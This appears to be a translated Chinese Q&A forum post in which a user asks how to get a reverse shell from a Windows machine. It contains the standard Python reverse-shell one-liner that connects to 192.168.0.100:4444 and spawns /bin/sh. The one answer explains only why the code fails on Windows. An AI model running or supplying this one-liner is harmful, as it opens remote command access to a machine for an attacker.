Python反向shell

时间:2015-05-26 13:36:24

标签: python shell

我试图从Windows机器(安装python)获得反向shell。是否有一个简短的脚本来做到这一点?

我尝试使用以下脚本:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.100",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

所有尝试都失败了,发出以下错误:

Errno 9:Bad file descriptor

任何帮助都将不胜感激。

1 个答案:

答案 0 :(得分:1)

您的代码无法在Windows上运行(但您已经知道了)。

以下文档说它不起作用:

  

在Windows下,在可以使用文件描述符的地方(例如os.fdopen()),不能使用此方法返回的小整数。

     

https://docs.python.org/2/library/socket.html#socket.socket.fileno